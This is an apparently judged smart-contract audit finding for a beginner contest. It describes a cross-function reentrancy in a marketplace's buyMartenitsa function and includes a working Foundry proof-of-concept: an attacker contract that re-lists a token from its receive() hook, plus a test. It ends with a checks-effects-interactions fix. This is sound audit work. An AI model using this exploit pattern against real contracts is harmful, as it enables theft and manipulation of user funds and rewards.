First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Cross Function Re-entrancy in `MartenitsaMarketplace::buyMartenitsa` allowing a Malicious seller to relist his martenitsa

codexbugmenot

Summary

When a user buys a Martenitsa using MartenitsaMarketplace::buyMartenitsa the seller can relist the martenitsa before the token transfer takes place and can possibly win voting with it even though he doesn't own the matrenitsa.

Impact

A Malicious Seller can relist his Martenitsa before selling retaining his list.seller
address and if the actual owner fails to list the martenitsa during this period the malicious seller can win voting claiming the healthtoken without owning the martenitsa.

Proof of Concept

Add the given state variables in BaseTest.t.sol

​
Reenter public reenter;
address prod;

Add the given piece of code in BaseTest.t.sol's BaseTest::setUp function below the martenitsaEvent variable initialisation

​
//add after this ---> martenitsaEvent = new MartenitsaEvent(address(healthToken));
reenter = new Reenter(marketplace, martenitsaToken);
prod = makeAddr("prod");
vm.deal(prod, 1 wei);
producers.push(address(reenter));
producers.push(prod);
​

Add the given contract code in BaseTest.t.sol after the BaseTest contract ends

​
///////////////////////////
//// Reentrancy contract///
///////////////////////////
​
contract Reenter is IERC721Receiver {
MartenitsaMarketplace public marketplace;
MartenitsaToken public martenitsaToken;
bool flag;
​
constructor(MartenitsaMarketplace _marketplace, MartenitsaToken _martenitsaToken) {
marketplace = _marketplace;
martenitsaToken = _martenitsaToken;
}
​
function attack() public {
marketplace.listMartenitsaForSale(0, 5 wei);
martenitsaToken.approve(address(marketplace), 0);
}
​
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
pure
returns (bytes4)
{
return this.onERC721Received.selector;
}
​
receive() external payable {
if (msg.sender == address(marketplace) && flag == false) {
flag = true;
attack();
}
}
​
fallback() external payable {}
}
​

Import {console} in MartenitsaMarketplace.t.sol

import {console} from "forge-std/Test.sol";

Add the PoC below in MartenitsaMarketplace.t.sol

PoC:Buy Martenitsa Reentrancy Can List Again And Win Voting
​
function testBuyMartenitsaReentrancyCanListAgainAndWinVoting() public startVoting {
vm.startPrank(address(reenter));
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
vm.stopPrank();
​
vm.prank(prod);
marketplace.buyMartenitsa{value: 1 wei}(0);
​
address owner = address(0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496);
​
vm.prank(bob);
voting.voteForMartenitsa(0);
​
vm.warp(block.timestamp + 1 days);
​
vm.prank(owner);
voting.announceWinner();
​
console.log("Owner of martenitsa 0 is :", martenitsaToken.ownerOf(0));
​
assert(martenitsaToken.ownerOf(0) != address(reenter));
assert(martenitsaToken.ownerOf(0) == prod);
assert(marketplace.getListing(0).seller == address(reenter));
}
​

Recommendations

  1. Following proper CEI(Checks-Effects-Interactions) patterns mitigates this vulnerability , in the MartenitsaMarketplace::buyMartenitsa function ,the safeTransferFrom
    is called after the external call sell.call() which makes the reentrancy possible.In MartenitsaMarketplace::buyMartenitsa function make the following change

​
// Transfer the token to the buyer
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
​
// Transfer funds to seller
(bool sent,) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
​

  1. Alternatively, a better design choice is to use OpenZeppelinReentrancyGuard

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.